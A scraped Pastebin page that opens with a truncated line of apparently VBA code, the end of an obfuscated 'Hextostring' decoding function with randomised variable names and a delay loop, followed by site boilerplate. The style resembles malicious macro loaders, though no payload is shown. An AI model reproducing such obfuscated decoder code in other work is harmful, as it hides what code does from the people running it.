OuKmWcfl < 74 DoEvents: OuKmWcfl = OuKmWcfl + 1 Loop Hextostring = Ztjaoyh End Function
Optional Paste Settings
Category:
None
Cryptocurrency
Cybersecurity
Fixit
Food
Gaming
Haiku
Help
History
Housing
Jokes
Legal
Money
Movies
Music
Pets
Photo
Science
Software
Source Code
Spirit
Sports
Travel
TV
Writing
Tags:
Syntax Highlighting:
None
Bash
C
C#
C++
CSS
HTML
JSON
Java
JavaScript
Lua
Markdown (PRO members only)
Objective C
PHP
Perl
Python
Ruby
Swift
4CS
6502 ACME Cross Assembler
6502 Kick Assembler
6502 TASM/64TASS
ABAP
AIMMS
ALGOL 68
APT Sources
ARM
ASM (NASM)
ASP
ActionScript
ActionScript 3
Ada
Apache Log
AppleScript
Arduino
Asymptote
AutoIt
Autohotkey
Avisynth
Awk
BASCOM AVR
BNF
BOO
Bash
Basic4GL
Batch
BibTeX
Blitz Basic
Blitz3D
BlitzMax
BrainFuck
C
C (WinAPI)
C Intermediate Language
C for Macs
C#
C++
C++ (WinAPI)
C++ (with Qt extensions)
C: Loadrunner
CAD DCL
CAD Lisp
CFDG
CMake
COBOL
CSS
Ceylon
ChaiScript
Chapel
Clojure
Clone C
Clone C++
CoffeeScript
ColdFusion
Cuesheet
D
DCL
DCPU-16
DCS
DIV
DOT
Dart
Delphi
Delphi Prism (Oxygene)
Diff
E
ECMAScript
EPC
Easytrieve
Eiffel
Email
Erlang
Euphoria
F#
FO Language
Falcon
Filemaker
Formula One
Fortran
FreeBasic
FreeSWITCH
GAMBAS
GDB
GDScript
Game Maker
Genero
Genie
GetText
Go
Godot GLSL
Groovy
GwBasic
HQ9 Plus
HTML
HTML 5
Haskell
Haxe
HicEst
IDL
INI file
INTERCAL
IO
ISPF Panel Definition
Icon
Inno Script
J
JCL
JSON
Java
Java 5
JavaScript
Julia
KSP (Kontakt Script)
KiXtart
Kotlin
LDIF
LLVM
LOL Code
LScript
Latex
Liberty BASIC
Linden Scripting
Lisp
Loco Basic
Logtalk
Lotus Formulas
Lotus Script
Lua
M68000 Assembler
MIX Assembler
MK-61/52
MPASM
MXML
MagikSF
Make
MapBasic
Markdown (PRO members only)
MatLab
Mercury
MetaPost
Modula 2
Modula 3
Motorola 68000 HiSoft Dev
MySQL
Nagios
NetRexx
Nginx
Nim
NullSoft Installer
OCaml
OCaml Brief
Oberon 2
Objeck Programming Langua
Objective C
Octave
Open Object Rexx
OpenBSD PACKET FILTER
OpenGL Shading
Openoffice BASIC
Oracle 11
Oracle 8
Oz
PARI/GP
PCRE
PHP
PHP Brief
PL/I
PL/SQL
POV-Ray
ParaSail
Pascal
Pawn
Per
Perl
Perl 6
Phix
Pic 16
Pike
Pixel Bender
PostScript
PostgreSQL
PowerBuilder
PowerShell
ProFTPd
Progress
Prolog
Properties
ProvideX
Puppet
PureBasic
PyCon
Python
Python for S60
QBasic
QML
R
RBScript
REBOL
REG
RPM Spec
Racket
Rails
Rexx
Robots
Roff Manpage
Ruby
Ruby Gnuplot
Rust
SAS
SCL
SPARK
SPARQL
SQF
SQL
SSH Config
Scala
Scheme
Scilab
SdlBasic
Smalltalk
Smarty
StandardML
StoneScript
SuperCollider
Swift
SystemVerilog
T-SQL
TCL
TeXgraph
Tera Term
TypeScript
TypoScript
UPC
Unicon
UnrealScript
Urbi
VB.NET
VBScript
VHDL
VIM
Vala
Vedit
VeriLog
Visual Pro Log
VisualBasic
VisualFoxPro
WHOIS
WhiteSpace
Winbatch
XBasic
XML
XPP
Xojo
Xorg Config
YAML
YARA
Z80 Assembler
ZXBasic
autoconf
jQuery
mIRC
newLISP
q/kdb+
thinBasic
Paste Expiration:
Never
Burn after read
10 Minutes
1 Hour
1 Day
1 Week
2 Weeks
1 Month
6 Months
1 Year
Paste Exposure:
Public
Unlisted
Private
Folder:
(members only)
Password
NEW
Enabled
Disabled
Burn after read
NEW
Paste Name / Title:
Create New Paste
Hello
Guest
Sign Up
or
Login
Sign in with Facebook
Sign in with Twitter
Sign in with Google
You are currently not logged in, this means you can not edit or delete anything you paste.
Sign Up
or
Login
Public Pastes
work.png.txt
3 hours ago | 475.67 KB
Disable Drag and Drop Image Improved Plugin i...
PHP | 4 hours ago | 1.31 KB
SAVE
5 hours ago | 0.06 KB
ZELAH
5 hours ago | 0.01 KB
z66is_archive.zip.txt
6 hours ago | 1.53 KB
programming
7 hours ago | 0.03 KB
thought
7 hours ago | 0.14 KB
STORY ENGINE
8 hours ago | 1.14 KB
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the
Cookies Policy
.
OK, I Understand
Not a member of Pastebin yet?
Sign Up
, it unlocks many cool features!
